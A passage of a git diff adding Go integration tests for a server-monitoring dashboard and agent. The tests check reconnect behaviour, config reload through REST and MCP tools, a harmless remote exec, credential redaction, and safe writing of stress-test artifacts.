} + seen[pair.Task.TaskID] = struct{}{} + if pair.Task.TaskID == 0 || pair.Task.TaskID != pair.Result.TaskID { + lost++ + } + } + } + return taskIDs, resultIDs, duplicates, lost +} + +func staleReconnectReceiptCount(generation uint64, pairs ...[]dashboard.MCPReceiptPair) int { + count := 0 + for _, group := range pairs { + for _, pair := range group { + if pair.Task.DashboardGeneration == generation || pair.Result.DashboardGeneration == generation { + count++ + } + } + } + return count +} diff --git a/integration/agentcompat/internal/scenario/reconnect_run.go b/integration/agentcompat/internal/scenario/reconnect_run.go new file mode 100644 index 00000000..6afebf38 --- /dev/null +++ b/integration/agentcompat/internal/scenario/reconnect_run.go @@ -0,0 +1,213 @@ +//go:build linux + +package scenario + +import ( + "bytes" + "context" + "errors" + "os" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +const reconnectScenarioName = "reconnect" + +var ErrReconnectDashboardExitFault = errors.New("reconnect scenario: injected Dashboard exit") + +func (Reconnect) RunWithEvidence(ctx context.Context, input ReconnectInput) (result Result, reconnectEvidence ReconnectEvidence, runErr error) { + assertions := NewAssertionSet() + dashboardInstance, err := dashboard.Start(ctx, dashboard.StartConfig{SourceDir: input.Paths.NezhaSource().String(), ReceiptGate: true}) + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + dashboardRoot := dashboardInstance.WorkspaceRoot() + var agentInstance *agent.Agent + var agentRoot string + defer func() { + cleanupContext, cancel := context.WithTimeout(context.WithoutCancel(ctx), 30*time.Second) + defer cancel() + cleanupErr := stopTransferProcesses(cleanupContext, agentInstance, dashboardInstance) + reconnectEvidence.AgentCleanup = agentCleanupReceipt(agentInstance) + reconnectEvidence.DashboardCleanup = dashboardInstance.CleanupReceipt() + cleanupErr = errors.Join(cleanupErr, transferWorkspaceResidue(agentRoot, dashboardRoot)) + assertions.Record("multi-generation process listener and workspace cleanup completed", cleanupErr == nil, errorText(cleanupErr)) + result.CleanupOK = cleanupErr == nil + if cleanupErr != nil { + result, reconnectEvidence, runErr = reconnectFinish(assertions, errors.Join(runErr, cleanupErr), reconnectEvidence) + result.CleanupOK = false + return + } + result.Assertions = assertions.Results() + }() + + const agentUUID = "00000000-0000-0000-0000-000000000217" + agentInstance, err = agent.Start(ctx, agent.AgentStartConfig{SourceDir: input.Paths.AgentSource().String(), Endpoint: dashboardInstance.Endpoint(), Secret: dashboardInstance.AgentSecret(), UUID: agentUUID}) + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + agentRoot = agentInstance.WorkspaceRoot() + if err := dashboardInstance.WaitForReceiptAccepted(ctx); err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + if err := dashboardInstance.ReleaseReceipt(ctx); err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + readiness, err := agentInstance.WaitReady(ctx, dashboardInstance) + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + serverID, err := transferServerID(ctx, dashboardInstance.Clients().MCP, readiness.UUID) + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + fixturePath, sentinel, err := prepareReconnectSentinel(agentRoot) + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + defer sentinel.close() + sentinelBytes, err := sentinel.read() + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + dashboardConfig, err := os.ReadFile(dashboardInstance.ConfigPath()) + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + agentConfig, err := os.ReadFile(agentInstance.ConfigPath()) + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + fixtureBefore := dashboardInstance.FixtureIdentity() + runtimeBefore := dashboardInstance.RuntimeIdentity() + agentBefore := agentInstance.RuntimeIdentity() + clientsBefore := dashboardInstance.Clients() + bootstrapBefore := dashboardInstance.Bootstrap() + reconnectEvidence.Fixture = ReconnectFixtureEvidence{Dashboard: fixtureBefore, AgentRoot: agentRoot, AgentConfigPath: agentInstance.ConfigPath(), AgentBinaryPath: agentInstance.BinaryPath()} + reconnectEvidence.Runtime.DashboardBefore = runtimeBefore + reconnectEvidence.Runtime.AgentBefore = agentBefore + reconnectEvidence.Identity = ReconnectIdentityEvidence{ServerID: serverID, UUID: agentUUID} + + stoppedRuntime, err := dashboardInstance.StopProcess(ctx) + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + disconnectAt := time.Now().UTC() + assertions.Record("Dashboard disconnect barrier stopped generation one", stoppedRuntime == runtimeBefore && dashboardInstance.RuntimeIdentity().PID == 0, "") + if input.DashboardFault == "dashboard-exit" { + // This fault returns before the normal lifecycle evidence finalization below. + sentinelAfter, sentinelErr := sentinel.read() + sentinelUnchanged := sentinelErr == nil && bytes.Equal(sentinelBytes, sentinelAfter) + reconnectEvidence.Lifecycle.DisconnectAt = disconnectAt + reconnectEvidence.Lifecycle.OutsideRootSentinelUnchanged = sentinelUnchanged + assertions.Record("outside-root sentinel remains unchanged", sentinelUnchanged, errorText(sentinelErr)) + if sentinelErr != nil { + return reconnectFinish(assertions, errors.Join(ErrReconnectDashboardExitFault, sentinelErr), reconnectEvidence) + } + if !sentinelUnchanged { + return reconnectFinish(assertions, errors.Join(ErrReconnectDashboardExitFault, errors.New("outside-root sentinel changed")), reconnectEvidence) + } + return reconnectFinish(assertions, ErrReconnectDashboardExitFault, reconnectEvidence) + } + runtimeAfter, err := dashboardInstance.StartProcess(ctx) + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + if err := dashboardInstance.WaitForReceiptAccepted(ctx); err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + if err := dashboardInstance.ReleaseReceipt(ctx); err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + postDashboardReadiness, err := agentInstance.WaitReady(ctx, dashboardInstance) + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + reconnectAt := time.Now().UTC() + serverIDAfter, err := transferServerID(ctx, dashboardInstance.Clients().MCP, postDashboardReadiness.UUID) + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + dashboardConfigAfter, err := os.ReadFile(dashboardInstance.ConfigPath()) + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + fixtureAfter := dashboardInstance.FixtureIdentity() + clientsAfter := dashboardInstance.Clients() + bootstrapAfter := dashboardInstance.Bootstrap() + reconnectEvidence.Runtime.DashboardAfter = runtimeAfter + reconnectEvidence.Identity.DashboardConfigUnchanged = bytes.Equal(dashboardConfig, dashboardConfigAfter) + reconnectEvidence.Identity.DashboardFixtureUnchanged = fixtureAfter == fixtureBefore + reconnectEvidence.Identity.ClientsRecreated = clientsAfter.REST != clientsBefore.REST && clientsAfter.MCP != clientsBefore.MCP && clientsAfter.WebSocket != clientsBefore.WebSocket + reconnectEvidence.Identity.BootstrapRecreated = bootstrapAfter.PATID != 0 && bootstrapAfter.PATID != bootstrapBefore.PATID && bootstrapAfter.LoginAuthenticated && bootstrapAfter.MCPToolCount > 0 + assertions.Record("Dashboard generation two preserves fixture and recreates runtime clients", runtimeAfter.Generation > runtimeBefore.Generation && runtimeAfter.PID != runtimeBefore.PID && reconnectEvidence.Identity.DashboardFixtureUnchanged && reconnectEvidence.Identity.ClientsRecreated && reconnectEvidence.Identity.BootstrapRecreated, "") + assertions.Record("Agent reconnect preserves exact server ID and UUID", serverIDAfter == serverID && postDashboardReadiness.UUID == agentUUID, "") + + dashboardPairs, err := runDashboardReconnectOperations(ctx, dashboardInstance, serverID, agentUUID, fixturePath) + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + stateGenerationBefore := dashboardInstance.StateGeneration(serverID, agentUUID) + transition, err := agentInstance.RestartProcess(ctx) + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + if err := dashboardInstance.WaitForStateGeneration(ctx, serverID, agentUUID, stateGenerationBefore+1, 1); err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + postAgentReadiness, err := agentInstance.WaitReady(ctx, dashboardInstance) + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + agentConfigAfter, err := os.ReadFile(agentInstance.ConfigPath()) + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + agentPairs, err := runAgentRestartOperations(ctx, dashboardInstance, serverID, fixturePath) + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + taskIDs, resultIDs, duplicates, lost := reconnectReceiptSummary(dashboardPairs, agentPairs) + stale := staleReconnectReceiptCount(runtimeBefore.Generation, dashboardPairs, agentPairs) + sentinelAfter, err := sentinel.read() + if err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + reconnectEvidence.Runtime.AgentAfter = transition.Current + reconnectEvidence.Runtime.StateGenerationBeforeAgentRestart = stateGenerationBefore + reconnectEvidence.Runtime.StateGenerationAfterAgentRestart = dashboardInstance.StateGeneration(serverID, agentUUID) + reconnectEvidence.Identity.AgentConfigUnchanged = bytes.Equal(agentConfig, agentConfigAfter) && agentInstance.ConfigPath() == reconnectEvidence.Fixture.AgentConfigPath && agentInstance.BinaryPath() == reconnectEvidence.Fixture.AgentBinaryPath && agentInstance.WorkspaceRoot() == reconnectEvidence.Fixture.AgentRoot + reconnectEvidence.Lifecycle = ReconnectLifecycleEvidence{DisconnectAt: disconnectAt, ReconnectAt: reconnectAt, ReconnectInterval: reconnectAt.Sub(disconnectAt), DashboardReceipts: dashboardPairs, AgentReceipts: agentPairs, StaleGenerationReceipts: stale, DuplicateTaskIDs: duplicates, LostResultIDs: lost, OutsideRootSentinelUnchanged: bytes.Equal(sentinelBytes, sentinelAfter)} + reconnectEvidence.Observation = ReconnectObservation{ServerID: serverID, UUID: agentUUID, OldGeneration: runtimeBefore.Generation, NewGeneration: runtimeAfter.Generation, DisconnectAt: disconnectAt, ReconnectAt: reconnectAt, TaskIDs: taskIDs, ResultIDs: resultIDs, PostReconnect: true, AgentRestarted: transition.Previous == agentBefore && transition.Current.Generation > transition.Previous.Generation && postAgentReadiness.UUID == agentUUID} + assertions.Record("post-reconnect MCP task and result receipts are exactly once", duplicates == 0 && lost == 0 && len(taskIDs) == 5, "") + assertions.Record("stale Dashboard generation cannot receive new task receipts", stale == 0, "") + assertions.Record("Agent restart advances state stream and preserves config identity", reconnectEvidence.Runtime.StateGenerationAfterAgentRestart > stateGenerationBefore && reconnectEvidence.Identity.AgentConfigUnchanged && reconnectEvidence.Observation.AgentRestarted, "") + assertions.Record("outside-root sentinel remains unchanged", reconnectEvidence.Lifecycle.OutsideRootSentinelUnchanged, "") + if err := reconnectEvidence.Validate(); err != nil { + return reconnectFinish(assertions, err, reconnectEvidence) + } + return reconnectFinish(assertions, nil, reconnectEvidence) +} + +func agentCleanupReceipt(agentInstance *agent.Agent) processharness.CleanupReceipt { + if agentInstance == nil { + return processharness.CleanupReceipt{} + } + return agentInstance.CleanupReceipt() +} + +func reconnectFinish(assertions *AssertionSet, runErr error, reconnectEvidence ReconnectEvidence) (Result, ReconnectEvidence, error) { + for _, assertion := range assertions.assertions { + if !assertion.Passed && runErr == nil { + runErr = errors.New(assertion.Name + ": " + assertion.Details) + } + } + result := Result{Name: reconnectScenarioName, Passed: runErr == nil, Assertions: assertions.Results()} + if runErr != nil { + result.Error = errorText(runErr) + } + return result, reconnectEvidence, runErr +} diff --git a/integration/agentcompat/internal/scenario/reconnect_test.go b/integration/agentcompat/internal/scenario/reconnect_test.go new file mode 100644 index 00000000..57450313 --- /dev/null +++ b/integration/agentcompat/internal/scenario/reconnect_test.go @@ -0,0 +1,84 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +func TestReconnectObservation_RejectsNonIncreasingGenerations(t *testing.T) { + // Given + observation := ReconnectObservation{OldGeneration: 4, NewGeneration: 4} + + // When + err := observation.Validate() + + // Then + require.Error(t, err) +} + +func TestReconnectObservation_RequiresUniqueCompleteTaskIDs(t *testing.T) { + // Given + observation := ReconnectObservation{ + OldGeneration: 2, + NewGeneration: 3, + DisconnectAt: time.Unix(10, 0), + ReconnectAt: time.Unix(11, 0), + TaskIDs: []uint64{7, 7}, + ResultIDs: []uint64{7}, + } + + // When + err := observation.Validate() + + // Then + require.Error(t, err) +} + +func TestReconnectObservation_RejectsNonAdjacentDuplicateTaskIDs(t *testing.T) { + // Given + observation := ReconnectObservation{ + ServerID: 7, + UUID: "00000000-0000-0000-0000-000000000111", + OldGeneration: 2, + NewGeneration: 3, + DisconnectAt: time.Unix(10, 0), + ReconnectAt: time.Unix(11, 0), + TaskIDs: []uint64{7, 8, 7}, + ResultIDs: []uint64{7, 8, 7}, + PostReconnect: true, + AgentRestarted: true, + } + + // When + err := observation.Validate() + + // Then + require.Error(t, err) +} + +func TestReconnectObservation_RecordsReconnectInterval(t *testing.T) { + // Given + observation := ReconnectObservation{ + ServerID: 7, + UUID: "00000000-0000-0000-0000-000000000111", + OldGeneration: 2, + NewGeneration: 3, + DisconnectAt: time.Unix(10, 0), + ReconnectAt: time.Unix(11, 0), + TaskIDs: []uint64{7}, + ResultIDs: []uint64{7}, + PostReconnect: true, + AgentRestarted: true, + } + + // When + err := observation.Validate() + + // Then + require.NoError(t, err) + require.Equal(t, time.Second, observation.ReconnectInterval()) +} diff --git a/integration/agentcompat/internal/scenario/registration_config_exec.go b/integration/agentcompat/internal/scenario/registration_config_exec.go new file mode 100644 index 00000000..caef89b5 --- /dev/null +++ b/integration/agentcompat/internal/scenario/registration_config_exec.go @@ -0,0 +1,293 @@ +//go:build linux + +package scenario + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "net/http" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + "github.com/nezhahq/nezha/integration/agentcompat/internal/evidence" +) + +type RegistrationConfigExecInput struct { + Paths contract.Paths + Fault contract.Fault +} + +type RegistrationConfigExec struct{} + +type serverListArguments struct { + OnlineOnly bool `json:"online_only"` +} +type serverListResult struct { + Servers []struct { + ID uint64 `json:"id"` + UUID string `json:"uuid"` + Online bool `json:"online"` + } `json:"servers"` +} +type serverGetArguments struct { + ServerID uint64 `json:"server_id"` +} +type serverGetResult struct { + UUID string `json:"uuid"` + Host json.RawMessage `json:"host"` + State json.RawMessage `json:"state"` +} +type execArguments struct { + ServerID uint64 `json:"server_id"` + Cmd string `json:"cmd"` + Args []string `json:"args"` +} +type execResult struct { + ExitCode int `json:"exit_code"` + Stdout string `json:"stdout"` + Stderr string `json:"stderr"` + StdoutTruncated bool `json:"stdout_truncated"` + TimedOut bool `json:"timed_out"` + Error string `json:"error"` +} +type configPostRequest struct { + Servers []uint64 `json:"servers"` + Config string `json:"config"` +} +type configPostResponse struct { + Success []uint64 `json:"success"` + Failure []uint64 `json:"failure"` + Offline []uint64 `json:"offline"` +} +type patRequest struct { + Name string `json:"name"` + Scopes []string `json:"scopes"` + ExpiresInDays int `json:"expires_in_days"` +} +type patResponse struct { + Token string `json:"token"` +} + +func (RegistrationConfigExec) Run(ctx context.Context, input RegistrationConfigExecInput) (result Result, runErr error) { + assertions := NewAssertionSet() + dashboardInstance, err := dashboard.Start(ctx, dashboard.StartConfig{SourceDir: input.Paths.NezhaSource().String(), ReceiptGate: true}) + if err != nil { + return Result{Name: "registration-config-exec", Assertions: assertions.Results(), Error: err.Error()}, err + } + defer func() { + cleanupErr := dashboardInstance.Stop(context.Background()) + result.CleanupOK = cleanupErr == nil && dashboardInstance.CleanupReceipt().Passed + if cleanupErr != nil && runErr == nil { + runErr = cleanupErr + result.Passed = false + result.Error = errorText(cleanupErr) + } + }() + + secret := dashboardInstance.AgentSecret() + agentSecret := secret + if input.Fault.String() == "agent-bad-secret" { + agentSecret = "wrong-agent-secret" + } + agentInstance, err := agent.Start(ctx, agent.AgentStartConfig{SourceDir: input.Paths.AgentSource().String(), Endpoint: dashboardInstance.Endpoint(), Secret: agentSecret, UUID: "00000000-0000-0000-0000-000000000111"}) + if err != nil { + return Result{Name: "registration-config-exec", Assertions: assertions.Results(), Error: err.Error()}, err + } + defer func() { + cleanupErr := agentInstance.Stop(context.Background()) + if cleanupErr != nil && runErr == nil { + runErr = cleanupErr + result.Passed = false + result.Error = errorText(cleanupErr) + } + }() + if input.Fault.String() == "agent-bad-secret" { + badContext, cancel := context.WithTimeout(ctx, 8*time.Second) + defer cancel() + err = agentInstance.AssertNeverOnline(badContext, dashboardInstance, 3*time.Second) + faultDetails := "invalid secret prevented readiness as expected" + if err != nil { + faultDetails = errorText(err) + } + assertions.Record("agent-bad-secret prevents readiness", false, faultDetails) + if err == nil { + err = errors.New("fault injection agent-bad-secret") + } + return finish(assertions, err) + } + if err := dashboardInstance.WaitForReceiptAccepted(ctx); err != nil { + return finish(assertions, err) + } + if err := dashboardInstance.ReleaseReceipt(ctx); err != nil { + return finish(assertions, err) + } + readiness, err := agentInstance.WaitReady(ctx, dashboardInstance) + assertions.Record("online inventory has exact UUID", err == nil && readiness.UUID == agentInstance.UUID() && readiness.Online, errorText(err)) + assertions.Record("online inventory has Host and State", err == nil && len(readiness.Host) > 0 && len(readiness.State) > 0, errorText(err)) + if err != nil { + return finish(assertions, err) + } + + servers, err := client.CallTool[serverListArguments, serverListResult](ctx, dashboardInstance.Clients().MCP, client.ToolCall[serverListArguments]{Name: "server.list", Arguments: serverListArguments{OnlineOnly: true}}) + if err != nil { + return finish(assertions, err) + } + serverID := uint64(0) + for _, server := range servers.StructuredContent.Servers { + if server.UUID == agentInstance.UUID() && server.Online { + serverID = server.ID + } + } + assertions.Record("server.list exact online UUID", serverID != 0, "") + if serverID == 0 { + return finish(assertions, errors.New("server.list did not return the agent UUID")) + } + server, err := client.CallTool[serverGetArguments, serverGetResult](ctx, dashboardInstance.Clients().MCP, client.ToolCall[serverGetArguments]{Name: "server.get", Arguments: serverGetArguments{ServerID: serverID}}) + assertions.Record("server.get exact UUID and meaningful Host State", err == nil && server.StructuredContent.UUID == agentInstance.UUID() && string(server.StructuredContent.Host) != "null" && string(server.StructuredContent.State) != "null", errorText(err)) + if err != nil { + return finish(assertions, err) + } + + limited, err := createScopedClient(ctx, dashboardInstance, []string{"nezha:server:read"}) + if err != nil { + return finish(assertions, err) + } + _, err = client.DoREST[struct{}, string](ctx, limited, client.RESTRequest[struct{}]{Method: http.MethodGet, Path: fmt.Sprintf("/api/v1/server/config/%d", serverID)}) + assertions.Record("insufficient config scope denied", isForbidden(err), errorText(err)) + configRaw, err := client.DoREST[struct{}, string](ctx, dashboardInstance.Clients().REST, client.RESTRequest[struct{}]{Method: http.MethodGet, Path: fmt.Sprintf("/api/v1/server/config/%d", serverID)}) + if err != nil { + return finish(assertions, err) + } + original, err := decodeAgentConfig(configRaw) + assertions.Record("authorized config returns complete round-trip contract", err == nil && original.ClientSecret != "" && original.UUID == agentInstance.UUID() && original.Server != "", errorText(err)) + if err != nil { + return finish(assertions, err) + } + updated := original + updated.Debug = !original.Debug + updated.ReportDelay = original.ReportDelay%4 + 1 + configDiffErr := changedOnlyDebugAndReportDelay(original, updated) + assertions.Record("config diff changes only debug and report_delay", configDiffErr == nil, errorText(configDiffErr)) + if configDiffErr != nil { + return finish(assertions, configDiffErr) + } + encoded, err := json.Marshal(updated) + if err != nil { + return finish(assertions, err) + } + response, err := client.DoREST[configPostRequest, configPostResponse](ctx, dashboardInstance.Clients().REST, client.RESTRequest[configPostRequest]{Method: http.MethodPost, Path: "/api/v1/server/config", Body: &configPostRequest{Servers: []uint64{serverID}, Config: string(encoded)}}) + dispatchValid := err == nil && len(response.Success) == 1 && response.Success[0] == serverID + dispatchDetails := errorText(err) + if !dispatchValid && dispatchDetails == "" { + dispatchDetails = fmt.Sprintf("success=%v failure=%v offline=%v", response.Success, response.Failure, response.Offline) + } + assertions.Record("config update dispatched", dispatchValid, dispatchDetails) + if !dispatchValid { + if err != nil { + return finish(assertions, fmt.Errorf("config dispatch failed: %w", err)) + } + return finish(assertions, errors.New("config dispatch returned no successful server")) + } + // Agent ApplyConfig commits after its deferred reload window, then reconnects; + // this state-generation event is the harness boundary that proves the new + // connection published state instead of merely accepting the task. + stateGeneration := dashboardInstance.StateGeneration(serverID, agentInstance.UUID()) + if stateGeneration == 0 { + return finish(assertions, errors.New("state generation was not observed before config reload")) + } + if err := dashboardInstance.WaitForStateGeneration(ctx, serverID, agentInstance.UUID(), stateGeneration+1, 1); err != nil { + return finish(assertions, err) + } + persisted, err := waitForPersistedConfig(ctx, agentInstance.ConfigPath(), updated) + if err != nil { + return finish(assertions, err) + } + persistedMatches := persisted.Debug == updated.Debug && persisted.ReportDelay == updated.ReportDelay && persisted.ClientSecret == original.ClientSecret && persisted.UUID == original.UUID && persisted.Server == original.Server + assertions.Record("config reload persisted only requested changes", persistedMatches, fmt.Sprintf("debug=%t/%t report_delay=%d/%d uuid=%s/%s server=%s/%s", persisted.Debug, updated.Debug, persisted.ReportDelay, updated.ReportDelay, persisted.UUID, original.UUID, persisted.Server, original.Server)) + postReload, err := agentInstance.WaitReady(ctx, dashboardInstance) + assertions.Record("post-reload online identity remains stable", err == nil && postReload.UUID == agentInstance.UUID() && postReload.Online, errorText(err)) + if err != nil { + return finish(assertions, err) + } + + exec, err := client.CallTool[execArguments, execResult](ctx, dashboardInstance.Clients().MCP, client.ToolCall[execArguments]{Name: "server.exec", Arguments: execArguments{ServerID: serverID, Cmd: "/bin/sh", Args: []string{"-c", "printf compat-exec"}}}) + assertions.Record("valid Exec exact stdout exit and no truncation timeout", err == nil && exec.StructuredContent.ExitCode == 0 && exec.StructuredContent.Stdout == "compat-exec" && exec.StructuredContent.Error == "" && !exec.StructuredContent.StdoutTruncated && !exec.StructuredContent.TimedOut, errorText(err)) + _, invalidErr := client.CallTool[execArguments, execResult](ctx, dashboardInstance.Clients().MCP, client.ToolCall[execArguments]{Name: "server.exec", Arguments: execArguments{ServerID: serverID, Cmd: "/definitely/missing/compat-command"}}) + var toolFailure *client.ToolFailure + structuredFailure := errors.As(invalidErr, &toolFailure) + var invalidResult execResult + if structuredFailure { + decodeErr := json.Unmarshal(toolFailure.StructuredContent, &invalidResult) + structuredFailure = decodeErr == nil + if decodeErr != nil { + invalidErr = errors.Join(invalidErr, decodeErr) + } + } + assertions.Record("invalid Exec has typed nonzero semantics", structuredFailure && invalidResult.ExitCode != 0 && invalidResult.Error != "", errorText(invalidErr)) + _, err = client.CallTool[serverListArguments, serverListResult](ctx, dashboardInstance.Clients().MCP, client.ToolCall[serverListArguments]{Name: "server.list", Arguments: serverListArguments{OnlineOnly: true}}) + assertions.Record("MCP health continues after Exec", err == nil, errorText(err)) + return finish(assertions, nil) +} + +func waitForPersistedConfig(ctx context.Context, path string, want AgentConfig) (AgentConfig, error) { + deadline, cancel := context.WithTimeout(ctx, 20*time.Second) + defer cancel() + ticker := time.NewTicker(100 * time.Millisecond) + defer ticker.Stop() + for { + config, err := ReadConfigFile(path) + if err == nil && config.Debug == want.Debug && config.ReportDelay == want.ReportDelay { + return config, nil + } + select { + case <-ticker.C: + case <-deadline.Done(): + if err != nil { + return AgentConfig{}, fmt.Errorf("wait for persisted config: %w", err) + } + return AgentConfig{}, fmt.Errorf("wait for persisted config: %w", deadline.Err()) + } + } +} + +func finish(assertions *AssertionSet, runErr error) (Result, error) { + for _, assertion := range assertions.assertions { + if !assertion.Passed && runErr == nil { + runErr = fmt.Errorf("%s: %s", assertion.Name, assertion.Details) + } + } + result := Result{Name: "registration-config-exec", Passed: runErr == nil, Assertions: assertions.Results(), CleanupOK: false} + if runErr != nil { + result.Error = evidence.Redact(runErr.Error()) + } + return result, runErr +} + +func createScopedClient(ctx context.Context, dashboardInstance *dashboard.Dashboard, scopes []string) (*client.Client, error) { + pat, err := client.DoREST[patRequest, patResponse](ctx, dashboardInstance.Clients().REST, client.RESTRequest[patRequest]{Method: http.MethodPost, Path: "/api/v1/api-tokens", Body: &patRequest{Name: "agentcompat-scope-check", Scopes: scopes}}) + if err != nil { + return nil, err + } + return dashboardInstance.AuthenticatedClient(pat.Token) +} + +func isForbidden(err error) bool { + var httpErr *client.HTTPError + if errors.As(err, &httpErr) { + return httpErr.StatusCode == http.StatusForbidden + } + var handshakeErr *client.WebSocketHandshakeError + return errors.As(err, &handshakeErr) && handshakeErr.StatusCode == http.StatusForbidden +} + +func errorText(err error) string { + if err == nil { + return "" + } + return evidence.Redact(err.Error()) +} diff --git a/integration/agentcompat/internal/scenario/registration_config_exec_test.go b/integration/agentcompat/internal/scenario/registration_config_exec_test.go new file mode 100644 index 00000000..7e40a81e --- /dev/null +++ b/integration/agentcompat/internal/scenario/registration_config_exec_test.go @@ -0,0 +1,66 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/evidence" +) + +func TestConfigDiff_ChangesOnlyDebugAndReportDelay(t *testing.T) { + // Given + original := AgentConfigSnapshot{Debug: false, ReportDelay: 1, ClientSecret: "secret", UUID: "uuid", Server: "server"} + updated := original + updated.Debug = true + updated.ReportDelay = 2 + + // When + diff, err := ConfigDiff(original, updated) + + // Then + require.NoError(t, err) + require.Equal(t, ConfigDiffResult{DebugChanged: true, ReportDelayChanged: true}, diff) +} + +func TestConfigDiff_RejectsCredentialIdentityAndEndpointChanges(t *testing.T) { + // Given + original := AgentConfigSnapshot{ClientSecret: "secret", UUID: "uuid", Server: "server", ReportDelay: 1} + updated := original + updated.ClientSecret = "other-secret" + + // When + _, err := ConfigDiff(original, updated) + + // Then + require.ErrorIs(t, err, ErrConfigIdentityChanged) +} + +func TestSensitiveEvidence_RedactsConfigCredentials(t *testing.T) { + // Given + secret := "0123456789abcdef0123456789abcdef" + config := `{"client_secret":"` + secret + `","server":"127.0.0.1:5555","debug":true}` + + // When + redacted := evidence.Redact(config) + + // Then + require.NotContains(t, redacted, secret) + require.Contains(t, redacted, "[REDACTED]") +} + +func TestFinish_RecordsFailedAssertionAndErrorForCleanup(t *testing.T) { + assertions := NewAssertionSet() + assertions.Record("readiness", false, "invalid secret prevented readiness") + + result, err := finish(assertions, nil) + + require.EqualError(t, err, "readiness: invalid secret prevented readiness") + require.False(t, result.Passed) + require.False(t, result.CleanupOK) + require.Equal(t, "readiness: invalid secret prevented readiness", result.Error) + require.Len(t, result.Assertions, 1) + require.False(t, result.Assertions[0].Passed) +} diff --git a/integration/agentcompat/internal/scenario/stress_artifact.go b/integration/agentcompat/internal/scenario/stress_artifact.go new file mode 100644 index 00000000..cc8489e4 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_artifact.go @@ -0,0 +1,188 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "bytes" + "encoding/json" + "errors" + "fmt" + "io" + "os" + "path/filepath" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/evidence" +) + +var ErrStressArtifactInvalid = errors.New("stress artifact is invalid") + +type stressArtifact struct { + Version int `json:"version"` + Profile string `json:"profile"` + Seed string `json:"seed"` + RoundCount int `json:"round_count"` + OperationCount int `json:"operation_count"` + SessionCount int `json:"session_count"` + WarmupCount int `json:"warmup_count"` + ResourceSummaryCount int `json:"resource_summary_count"` + ResourceSampleCount int `json:"resource_sample_count"` + ResourceIntervalMilliseconds int64 `json:"resource_interval_milliseconds"` + Quotas StressQuotaEvidence `json:"quotas"` + PathLockStripes int `json:"path_lock_stripes"` + DuplicateOperations int `json:"duplicate_operations"` + ResourceDrift int `json:"resource_drift"` + RSSBounded bool `json:"rss_bounded"` + Cleanup StressCleanupSummary `json:"cleanup"` +} + +func stressPRFullProfile() (contract.Profile, error) { + return contract.ProfileByName(string(contract.ProfilePRFull)) +} + +func publishStressEvidence(root string, value StressEvidence) error { + profile, err := stressPRFullProfile() + if err != nil { + return err + } + if err := value.ValidateSuccess(profile); err != nil { + return err + } + artifact, err := newStressArtifact(value) + if err != nil { + return err + } + data, err := json.Marshal(artifact) + if err != nil { + return err + } + if evidence.Redact(string(data)) != string(data) { + return ErrStressArtifactInvalid + } + info, err := os.Lstat(root) + if errors.Is(err, os.ErrNotExist) { + if err := os.Mkdir(root, 0o700); err != nil { + return err + } + info, err = os.Lstat(root) + } + if err != nil || info.Mode()&os.ModeSymlink != 0 || !info.IsDir() || info.Mode().Perm() != 0o700 { + return ErrStressArtifactInvalid + } + path := filepath.Join(root, "stress.json") + if stale, statErr := os.Lstat(path); statErr == nil { + if stale.Mode()&os.ModeSymlink != 0 || !stale.Mode().IsRegular() { + return ErrStressArtifactInvalid + } + } else if !errors.Is(statErr, os.ErrNotExist) { + return statErr + } + temporary, err := os.CreateTemp(root, ".stress-*") + if err != nil { + return err + } + temporaryName := temporary.Name() + defer os.Remove(temporaryName) + if err := temporary.Chmod(0o600); err != nil { + _ = temporary.Close() + return err + } + if _, err := temporary.Write(data); err != nil { + _ = temporary.Close() + return err + } + if err := temporary.Close(); err != nil { + return err + } + return os.Rename(temporaryName, path) +} + +func readStressEvidence(root string) (stressArtifact, error) { + var value stressArtifact + path := filepath.Join(root, "stress.json") + info, err := os.Lstat(path) + if err != nil { + return value, err + } + if info.Mode()&os.ModeSymlink != 0 || !info.Mode().IsRegular() || info.Mode().Perm() != 0o600 { + return value, ErrStressArtifactInvalid + } + data, err := os.ReadFile(path) + if err != nil { + return value, err + } + if evidence.Redact(string(data)) != string(data) { + return value, ErrStressArtifactInvalid + } + decoder := 